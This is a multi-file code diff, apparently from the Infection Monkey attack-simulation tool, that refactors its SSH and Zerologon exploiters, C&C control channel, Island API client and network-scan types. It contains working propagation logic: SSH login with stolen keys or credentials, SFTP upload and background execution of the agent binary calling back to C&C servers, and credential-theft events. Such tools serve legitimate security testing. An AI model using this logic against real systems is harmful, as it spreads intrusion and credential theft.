def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
if not self.host.os.get("type"):
try: try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode() uname_os = stdout.read().lower().strip().decode()
@ -302,33 +189,34 @@ class SSHExploiter(HostExploiter):
if not uname_os: if not uname_os:
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return False return self.exploit_result
except Exception as exc: except Exception as exc:
logger.error(f"Error running uname os command on victim {self.host}: ({exc})") self.exploit_result.error_message = (
return False f"Error running uname os command on victim {self.host}: ({exc})"
return True )
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]: logger.error(self.exploit_result.error_message)
if not self.host.os.get("type") and not self._get_victim_os(ssh): return self.exploit_result
return None
try:
agent_binary_file_object = self.agent_binary_repository.get_agent_binary( agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os self.exploit_result.os
) )
except RetrievalError:
return None
return agent_binary_file_object if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host)
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try: try:
timestamp = time()
with ssh.open_sftp() as ftp: with ssh.open_sftp() as ftp:
ftp.putfo( ftp.putfo(
agent_binary_file_object, agent_binary_file_object,
@ -338,12 +226,51 @@ class SSHExploiter(HostExploiter):
) )
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
return ScanStatus.USED status = ScanStatus.USED
except Exception as exc: except Exception as exc:
error_message = f"Error uploading file into victim {self.host}: ({exc})" self.exploit_result.error_message = (
self._publish_propagation_event(timestamp, False, error_message=error_message) f"Error uploading file into victim {self.host}: ({exc})"
self.exploit_result.error_message = error_message )
return ScanStatus.SCANNED logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
return self.exploit_result
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
ssh.close()
self.add_executed_cmd(cmdline)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _set_executable_bit_on_agent_binary( def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath

View File

@ -3,7 +3,6 @@ import urllib.error
import urllib.parse import urllib.parse
import urllib.request import urllib.request
from threading import Lock from threading import Lock
from typing import Optional, Tuple
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
@ -29,7 +28,7 @@ class HTTPTools(object):
@staticmethod @staticmethod
def create_locked_transfer( def create_locked_transfer(
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]: ) -> LockedHTTPServer:
""" """
Create http server for file transfer with a lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information

View File

@ -18,7 +18,6 @@ from impacket.dcerpc.v5.dtypes import NULL
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import Credentials, LMHash, NTHash, Username from common.credentials import Credentials, LMHash, NTHash, Username
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
@ -33,6 +32,9 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter" ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
ZEROLOGON_EVENT_TAGS = frozenset( ZEROLOGON_EVENT_TAGS = frozenset(
{ {
@ -313,7 +315,7 @@ class ZerologonExploiter(HostExploiter):
tags=ZEROLOGON_EVENT_TAGS, tags=ZEROLOGON_EVENT_TAGS,
stolen_credentials=extracted_credentials, stolen_credentials=extracted_credentials,
) )
self.agent_event_queue.publish(credentials_stolen_event) self.event_queue.publish(credentials_stolen_event)
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]: def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes): if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
@ -381,7 +383,7 @@ class ZerologonExploiter(HostExploiter):
return True return True
except Exception as e: except Exception as e:
logger.info(f"Exception occurred: {str(e)}") logger.info(f"Exception occured: {str(e)}")
finally: finally:
info = output_captor.get_captured_stdout_output() info = output_captor.get_captured_stdout_output()

View File

@ -1,11 +1,23 @@
import abc import abc
from typing import Sequence from typing import Optional, Sequence
from uuid import UUID
from common.agent_configuration import AgentConfiguration from common.agent_configuration import AgentConfiguration
from common.credentials import Credentials from common.credentials import Credentials
class IControlChannel(metaclass=abc.ABCMeta): class IControlChannel(metaclass=abc.ABCMeta):
@abc.abstractmethod
def register_agent(self, parent_id: Optional[UUID] = None):
"""
Registers this agent with the Island when this agent starts
:param parent: The ID of the parent that spawned this agent, or None if this agent has no
parent
:raises IslandCommunicationError: If the agent cannot be successfully registered
"""
pass
@abc.abstractmethod @abc.abstractmethod
def should_agent_stop(self) -> bool: def should_agent_stop(self) -> bool:
""" """

View File

@ -2,8 +2,10 @@ from .plugin_type import PluginType
from .i_puppet import ( from .i_puppet import (
IPuppet, IPuppet,
ExploiterResultData, ExploiterResultData,
PingScanData,
PortScanData, PortScanData,
FingerprintData, FingerprintData,
PortStatus,
PostBreachData, PostBreachData,
UnknownPluginError, UnknownPluginError,
) )

View File

@ -1,9 +1,7 @@
from abc import abstractmethod from abc import abstractmethod
from typing import Dict from typing import Dict
from common.types import PingScanData from . import FingerprintData, PingScanData, PortScanData
from . import FingerprintData, PortScanData
class IFingerprinter: class IFingerprinter:

View File

@ -1,16 +1,21 @@
import abc import abc
import threading import threading
from collections import namedtuple from dataclasses import dataclass, field
from dataclasses import dataclass from enum import Enum
from typing import Dict, Iterable, Mapping, Optional, Sequence from typing import Dict, Iterable, List, Mapping, Optional, Sequence, Tuple
from common import OperatingSystem
from common.credentials import Credentials from common.credentials import Credentials
from common.types import PingScanData
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
from . import PluginType from . import PluginType
class PortStatus(Enum):
OPEN = 1
CLOSED = 2
class UnknownPluginError(Exception): class UnknownPluginError(Exception):
pass pass
@ -21,14 +26,37 @@ class ExploiterResultData:
propagation_success: bool = False propagation_success: bool = False
interrupted: bool = False interrupted: bool = False
os: str = "" os: str = ""
info: Optional[Mapping] = None info: Mapping = field(default_factory=lambda: {})
attempts: Optional[Iterable] = None attempts: Iterable = field(default_factory=lambda: [])
error_message: str = "" error_message: str = ""
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) @dataclass(frozen=True)
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) class FingerprintData:
PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"]) os_type: Optional[OperatingSystem]
os_version: str
services: Mapping = field(default_factory=lambda: {})
@dataclass(frozen=True)
class PingScanData:
response_received: bool
os: Optional[OperatingSystem]
@dataclass(frozen=True)
class PortScanData:
port: int
status: PortStatus
banner: str
service: str
@dataclass(frozen=True)
class PostBreachData:
display_name: str
command: str
result: Tuple[str, bool]
class IPuppet(metaclass=abc.ABCMeta): class IPuppet(metaclass=abc.ABCMeta):
@ -77,8 +105,8 @@ class IPuppet(metaclass=abc.ABCMeta):
@abc.abstractmethod @abc.abstractmethod
def scan_tcp_ports( def scan_tcp_ports(
self, host: str, ports: Sequence[int], timeout: float = 3 self, host: str, ports: List[int], timeout: float = 3
) -> Dict[int, PortScanData]: ) -> Mapping[int, PortScanData]:
""" """
Scans a list of TCP ports on a remote host Scans a list of TCP ports on a remote host
@ -86,7 +114,7 @@ class IPuppet(metaclass=abc.ABCMeta):
:param int ports: List of TCP port numbers to scan :param int ports: List of TCP port numbers to scan
:param float timeout: The maximum amount of time (in seconds) to wait for a response :param float timeout: The maximum amount of time (in seconds) to wait for a response
:return: The data collected by scanning the provided host:ports combination :return: The data collected by scanning the provided host:ports combination
:rtype: Dict[int, PortScanData] :rtype: Mapping[int, PortScanData]
""" """
@abc.abstractmethod @abc.abstractmethod
@ -129,7 +157,6 @@ class IPuppet(metaclass=abc.ABCMeta):
:param str name: The name of the exploiter to run :param str name: The name of the exploiter to run
:param VictimHost host: A VictimHost object representing the target to exploit :param VictimHost host: A VictimHost object representing the target to exploit
:param int current_depth: The current propagation depth :param int current_depth: The current propagation depth
:param servers: List of socket addresses for victim to connect back to
:param Dict options: A dictionary containing options that modify the behavior of the :param Dict options: A dictionary containing options that modify the behavior of the
exploiter exploiter
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop :param threading.Event interrupt: A threading.Event object that signals the exploit to stop

View File

@ -1,22 +1,13 @@
import functools import functools
import json
import logging import logging
from pprint import pformat
from typing import List, Sequence from typing import List, Sequence
import requests import requests
from common import AgentRegistrationData, AgentSignals, OperatingSystem from common import OperatingSystem
from common.agent_configuration import AgentConfiguration from common.agent_event_serializers import AgentEventSerializerRegistry, JSONSerializable
from common.agent_event_serializers import AgentEventSerializerRegistry
from common.agent_events import AbstractAgentEvent from common.agent_events import AbstractAgentEvent
from common.common_consts.timeouts import ( from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
LONG_REQUEST_TIMEOUT,
MEDIUM_REQUEST_TIMEOUT,
SHORT_REQUEST_TIMEOUT,
)
from common.credentials import Credentials
from common.types import AgentID, JSONSerializable, SocketAddress
from . import ( from . import (
AbstractIslandAPIClientFactory, AbstractIslandAPIClientFactory,
@ -36,9 +27,7 @@ def handle_island_errors(fn):
def decorated(*args, **kwargs): def decorated(*args, **kwargs):
try: try:
return fn(*args, **kwargs) return fn(*args, **kwargs)
except IslandAPIError as err: except requests.exceptions.ConnectionError as err:
raise err
except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as err:
raise IslandAPIConnectionError(err) raise IslandAPIConnectionError(err)
except requests.exceptions.HTTPError as err: except requests.exceptions.HTTPError as err:
if 400 <= err.response.status_code < 500: if 400 <= err.response.status_code < 500:
@ -49,23 +38,14 @@ def handle_island_errors(fn):
raise IslandAPIError(err) raise IslandAPIError(err)
except TimeoutError as err: except TimeoutError as err:
raise IslandAPITimeoutError(err) raise IslandAPITimeoutError(err)
except IslandAPIError as err:
raise err
except Exception as err: except Exception as err:
raise IslandAPIError(err) raise IslandAPIError(err)
return decorated return decorated
def convert_json_error_to_island_api_error(fn):
@functools.wraps(fn)
def wrapper(*args, **kwargs):
try:
return fn(*args, **kwargs)
except (requests.JSONDecodeError, json.JSONDecodeError) as err:
raise IslandAPIRequestFailedError(err)
return wrapper
class HTTPIslandAPIClient(IIslandAPIClient): class HTTPIslandAPIClient(IIslandAPIClient):
""" """
A client for the Island's HTTP API A client for the Island's HTTP API
@ -80,7 +60,7 @@ class HTTPIslandAPIClient(IIslandAPIClient):
@handle_island_errors @handle_island_errors
def connect( def connect(
self, self,
island_server: SocketAddress, island_server: str,
): ):
response = requests.get( # noqa: DUO123 response = requests.get( # noqa: DUO123
f"https://{island_server}/api?action=is-up", f"https://{island_server}/api?action=is-up",
@ -89,12 +69,13 @@ class HTTPIslandAPIClient(IIslandAPIClient):
) )
response.raise_for_status() response.raise_for_status()
self._api_url = f"https://{island_server}/api" self._island_server = island_server
self._api_url = f"https://{self._island_server}/api"
@handle_island_errors @handle_island_errors
def send_log(self, agent_id: AgentID, log_contents: str): def send_log(self, log_contents: str):
response = requests.put( # noqa: DUO123 response = requests.post( # noqa: DUO123
f"{self._api_url}/agent-logs/{agent_id}", f"{self._api_url}/log",
json=log_contents, json=log_contents,
verify=False, verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT, timeout=MEDIUM_REQUEST_TIMEOUT,
@ -135,45 +116,6 @@ class HTTPIslandAPIClient(IIslandAPIClient):
response.raise_for_status() response.raise_for_status()
@handle_island_errors
def register_agent(self, agent_registration_data: AgentRegistrationData):
url = f"{self._api_url}/agents"
response = requests.post( # noqa: DUO123
url,
json=agent_registration_data.dict(simplify=True),
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
@handle_island_errors
@convert_json_error_to_island_api_error
def get_config(self) -> AgentConfiguration:
response = requests.get( # noqa: DUO123
f"{self._api_url}/agent-configuration",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
config_dict = response.json()
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
return AgentConfiguration(**config_dict)
@handle_island_errors
@convert_json_error_to_island_api_error
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
response = requests.get( # noqa: DUO123
f"{self._api_url}/propagation-credentials",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return [Credentials(**credentials) for credentials in response.json()]
def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable: def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable:
serialized_events: List[JSONSerializable] = [] serialized_events: List[JSONSerializable] = []
@ -186,18 +128,6 @@ class HTTPIslandAPIClient(IIslandAPIClient):
return serialized_events return serialized_events
@handle_island_errors
@convert_json_error_to_island_api_error
def get_agent_signals(self, agent_id: str) -> AgentSignals:
url = f"{self._api_url}/agent-signals/{agent_id}"
response = requests.get( # noqa: DUO123
url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return AgentSignals(**response.json())
class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory): class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory):
def __init__( def __init__(

View File

@ -1,11 +1,8 @@
from abc import ABC, abstractmethod from abc import ABC, abstractmethod
from typing import Sequence from typing import Sequence
from common import AgentRegistrationData, AgentSignals, OperatingSystem from common import OperatingSystem
from common.agent_configuration import AgentConfiguration
from common.agent_events import AbstractAgentEvent from common.agent_events import AbstractAgentEvent
from common.credentials import Credentials
from common.types import AgentID, SocketAddress
class IIslandAPIClient(ABC): class IIslandAPIClient(ABC):
@ -14,9 +11,9 @@ class IIslandAPIClient(ABC):
""" """
@abstractmethod @abstractmethod
def connect(self, island_server: SocketAddress): def connect(self, island_server: str):
""" """
Connect to the island's API Connectto the island's API
:param island_server: The socket address of the API :param island_server: The socket address of the API
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island :raises IslandAPIConnectionError: If the client cannot successfully connect to the island
@ -30,11 +27,10 @@ class IIslandAPIClient(ABC):
""" """
@abstractmethod @abstractmethod
def send_log(self, agent_id: AgentID, log_contents: str): def send_log(self, log_contents: str):
""" """
Send the contents of the agent's log to the island Send the contents of the agent's log to the island
:param agent_id: The ID of the agent whose logs are being sent
:param log_contents: The contents of the agent's log :param log_contents: The contents of the agent's log
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island :raises IslandAPIConnectionError: If the client cannot successfully connect to the island
:raises IslandAPIRequestError: If an error occurs while attempting to connect to the :raises IslandAPIRequestError: If an error occurs while attempting to connect to the
@ -95,53 +91,3 @@ class IIslandAPIClient(ABC):
:raises IslandAPIError: If an unexpected error occurs while attempting to send events to :raises IslandAPIError: If an unexpected error occurs while attempting to send events to
the island the island
""" """
@abstractmethod
def register_agent(self, agent_registration_data: AgentRegistrationData):
"""
Register an agent with the Island
:param agent_registration_data: Information about the agent to register
with the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
"""
@abstractmethod
def get_config(self) -> AgentConfiguration:
"""
Get agent configuration from the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: Agent configuration
"""
@abstractmethod
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
"""
Get credentials from the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: Credentials
"""
@abstractmethod
def get_agent_signals(self, agent_id: str) -> AgentSignals:
"""
Gets an agent's signals from the island
:param agent_id: ID of the agent whose signals should be retrieved
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: The relevant agent's signals
"""

View File

@ -1,48 +1,127 @@
import json
import logging import logging
from functools import wraps from pprint import pformat
from typing import Sequence from typing import Optional, Sequence
from uuid import UUID
import requests
from urllib3 import disable_warnings from urllib3 import disable_warnings
from common import AgentRegistrationData
from common.agent_configuration import AgentConfiguration from common.agent_configuration import AgentConfiguration
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
from common.credentials import Credentials from common.credentials import Credentials
from common.network.network_utils import get_network_interfaces
from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError
from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError from infection_monkey.utils import agent_process
from infection_monkey.utils.ids import get_agent_id, get_machine_id
disable_warnings() # noqa: DUO131 disable_warnings() # noqa: DUO131
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def handle_island_api_errors(func):
@wraps(func)
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except IslandAPIError as err:
raise IslandCommunicationError(err)
return wrapper
class ControlChannel(IControlChannel): class ControlChannel(IControlChannel):
def __init__(self, server: str, agent_id: str, api_client: IIslandAPIClient): def __init__(self, server: str, agent_id: str):
self._agent_id = agent_id self._agent_id = agent_id
self._control_channel_server = server self._control_channel_server = server
self._island_api_client = api_client
@handle_island_api_errors def register_agent(self, parent: Optional[UUID] = None):
agent_registration_data = AgentRegistrationData(
id=get_agent_id(),
machine_hardware_id=get_machine_id(),
start_time=agent_process.get_start_time(),
# parent_id=parent,
parent_id=None, # None for now, until we change GUID to UUID
cc_server=self._control_channel_server,
network_interfaces=get_network_interfaces(),
)
try:
url = f"https://{self._control_channel_server}/api/agents"
response = requests.post( # noqa: DUO123
url,
json=agent_registration_data.dict(simplify=True),
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
except (
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
def should_agent_stop(self) -> bool: def should_agent_stop(self) -> bool:
if not self._control_channel_server: if not self._control_channel_server:
logger.error("Agent should stop because it can't connect to the C&C server.") logger.error("Agent should stop because it can't connect to the C&C server.")
return True return True
agent_signals = self._island_api_client.get_agent_signals(self._agent_id) try:
return agent_signals.terminate is not None url = (
f"https://{self._control_channel_server}/api/monkey-control"
f"/needs-to-stop/{self._agent_id}"
)
response = requests.get( # noqa: DUO123
url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
json_response = json.loads(response.content.decode())
return json_response["stop_agent"]
except (
json.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
@handle_island_api_errors
def get_config(self) -> AgentConfiguration: def get_config(self) -> AgentConfiguration:
return self._island_api_client.get_config() try:
response = requests.get( # noqa: DUO123
f"https://{self._control_channel_server}/api/agent-configuration",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
config_dict = json.loads(response.text)
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
return AgentConfiguration(**config_dict)
except (
json.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
@handle_island_api_errors
def get_credentials_for_propagation(self) -> Sequence[Credentials]: def get_credentials_for_propagation(self) -> Sequence[Credentials]:
return self._island_api_client.get_credentials_for_propagation() propagation_credentials_url = (
f"https://{self._control_channel_server}/api/propagation-credentials"
)
try:
response = requests.get( # noqa: DUO123
propagation_credentials_url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return [Credentials(**credentials) for credentials in response.json()]
except (
requests.exceptions.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)

View File

@ -1,14 +1,14 @@
from dataclasses import dataclass from dataclasses import dataclass
from typing import Dict from typing import Dict
from common.types import NetworkPort, PingScanData from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData
from infection_monkey.i_puppet import FingerprintData, PortScanData
Port = int
FingerprinterName = str FingerprinterName = str
@dataclass @dataclass
class IPScanResults: class IPScanResults:
ping_scan_data: PingScanData ping_scan_data: PingScanData
port_scan_data: Dict[NetworkPort, PortScanData] port_scan_data: Dict[Port, PortScanData]
fingerprint_data: Dict[FingerprinterName, FingerprintData] fingerprint_data: Dict[FingerprinterName, FingerprintData]

View File

@ -8,9 +8,15 @@ from typing import Callable, Dict, Sequence
from common.agent_configuration.agent_sub_configurations import ( from common.agent_configuration.agent_sub_configurations import (
NetworkScanConfiguration, NetworkScanConfiguration,
PluginConfiguration, PluginConfiguration,
ScanTargetConfiguration,
)
from infection_monkey.i_puppet import (
FingerprintData,
IPuppet,
PingScanData,
PortScanData,
PortStatus,
) )
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IPuppet, PortScanData
from infection_monkey.network import NetworkAddress from infection_monkey.network import NetworkAddress
from infection_monkey.utils.threading import interruptible_iter, run_worker_threads from infection_monkey.utils.threading import interruptible_iter, run_worker_threads
@ -29,7 +35,7 @@ class IPScanner:
def scan( def scan(
self, self,
addresses_to_scan: Sequence[NetworkAddress], addresses_to_scan: Sequence[NetworkAddress],
options: NetworkScanConfiguration, options: ScanTargetConfiguration,
results_callback: Callback, results_callback: Callback,
stop: Event, stop: Event,
): ):

View File

@ -2,7 +2,7 @@ import logging
from ipaddress import IPv4Interface from ipaddress import IPv4Interface
from queue import Queue from queue import Queue
from threading import Event from threading import Event
from typing import List, Mapping, Sequence from typing import Dict, List, Sequence
from common.agent_configuration import ( from common.agent_configuration import (
ExploitationConfiguration, ExploitationConfiguration,
@ -10,8 +10,13 @@ from common.agent_configuration import (
PropagationConfiguration, PropagationConfiguration,
ScanTargetConfiguration, ScanTargetConfiguration,
) )
from common.types import NetworkPort, PingScanData, PortStatus from infection_monkey.i_puppet import (
from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData ExploiterResultData,
FingerprintData,
PingScanData,
PortScanData,
PortStatus,
)
from infection_monkey.model import VictimHost, VictimHostFactory from infection_monkey.model import VictimHost, VictimHostFactory
from infection_monkey.network import NetworkAddress from infection_monkey.network import NetworkAddress
from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list
@ -21,7 +26,6 @@ from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.utils.threading import create_daemon_thread from infection_monkey.utils.threading import create_daemon_thread
from . import Exploiter, IPScanner, IPScanResults from . import Exploiter, IPScanner, IPScanResults
from .ip_scan_results import FingerprinterName
logger = logging.getLogger() logger = logging.getLogger()
@ -116,14 +120,14 @@ class Propagator:
ranges_to_scan = target_config.subnets ranges_to_scan = target_config.subnets
inaccessible_subnets = target_config.inaccessible_subnets inaccessible_subnets = target_config.inaccessible_subnets
blocklisted_ips = target_config.blocked_ips blocklisted_ips = target_config.blocked_ips
scan_my_networks = target_config.scan_my_networks enable_local_network_scan = target_config.local_network_scan
return compile_scan_target_list( return compile_scan_target_list(
self._local_network_interfaces, self._local_network_interfaces,
ranges_to_scan, ranges_to_scan,
inaccessible_subnets, inaccessible_subnets,
blocklisted_ips, blocklisted_ips,
scan_my_networks, enable_local_network_scan,
) )
def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults): def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults):
@ -145,21 +149,16 @@ class Propagator:
victim_host.os["type"] = ping_scan_data.os victim_host.os["type"] = ping_scan_data.os
@staticmethod @staticmethod
def _process_tcp_scan_results( def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData):
victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData] for psd in filter(lambda psd: psd.status == PortStatus.OPEN, port_scan_data.values()):
):
for psd in filter(
lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values()
):
victim_host.services[psd.service] = {} victim_host.services[psd.service] = {}
victim_host.services[psd.service]["display_name"] = "unknown(TCP)" victim_host.services[psd.service]["display_name"] = "unknown(TCP)"
victim_host.services[psd.service]["port"] = psd.port victim_host.services[psd.service]["port"] = psd.port
if psd.banner is not None:
victim_host.services[psd.service]["banner"] = psd.banner victim_host.services[psd.service]["banner"] = psd.banner
@staticmethod @staticmethod
def _process_fingerprinter_results( def _process_fingerprinter_results(
victim_host: VictimHost, fingerprint_data: Mapping[FingerprinterName, FingerprintData] victim_host: VictimHost, fingerprint_data: Dict[str, FingerprintData]
): ):
for fd in fingerprint_data.values(): for fd in fingerprint_data.values():
# TODO: This logic preserves the existing behavior prior to introducing IMaster and # TODO: This logic preserves the existing behavior prior to introducing IMaster and
@ -169,7 +168,7 @@ class Propagator:
if fd.os_type is not None: if fd.os_type is not None:
victim_host.os["type"] = fd.os_type victim_host.os["type"] = fd.os_type
if ("version" not in victim_host.os) and (fd.os_version is not None): if ("version" not in victim_host.os) and (fd.os_version):
victim_host.os["version"] = fd.os_version victim_host.os["version"] = fd.os_version
for service, details in fd.services.items(): for service, details in fd.services.items():

View File

@ -10,7 +10,7 @@ class VictimHost(object):
self.os: Dict[str, Any] = {} self.os: Dict[str, Any] = {}
self.services: Dict[str, Any] = {} self.services: Dict[str, Any] = {}
self.icmp = False self.icmp = False
self.default_server = None self.default_server = ""
def as_dict(self): def as_dict(self):
return self.__dict__ return self.__dict__

View File

@ -3,9 +3,9 @@ import logging
import os import os
import subprocess import subprocess
import sys import sys
from ipaddress import IPv4Interface from ipaddress import IPv4Address, IPv4Interface
from pathlib import Path, WindowsPath from pathlib import Path, WindowsPath
from typing import List, Optional, Sequence, Tuple from typing import List, Mapping, Optional, Tuple
from pubsub.core import Publisher from pubsub.core import Publisher
@ -13,19 +13,17 @@ from common.agent_event_serializers import (
AgentEventSerializerRegistry, AgentEventSerializerRegistry,
register_common_agent_event_serializers, register_common_agent_event_serializers,
) )
from common.agent_events import CredentialsStolenEvent, PropagationEvent from common.agent_events import CredentialsStolenEvent
from common.agent_registration_data import AgentRegistrationData
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
from common.network.network_utils import get_my_ip_addresses, get_network_interfaces from common.network.network_utils import (
from common.types import SocketAddress address_to_ip_port,
get_my_ip_addresses,
get_network_interfaces,
)
from common.utils.argparse_types import positive_int from common.utils.argparse_types import positive_int
from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.attack_utils import ScanStatus, UsageEnum
from common.version import get_version from common.version import get_version
from infection_monkey.agent_event_handlers import ( from infection_monkey.agent_event_forwarder import AgentEventForwarder
AgentEventForwarder,
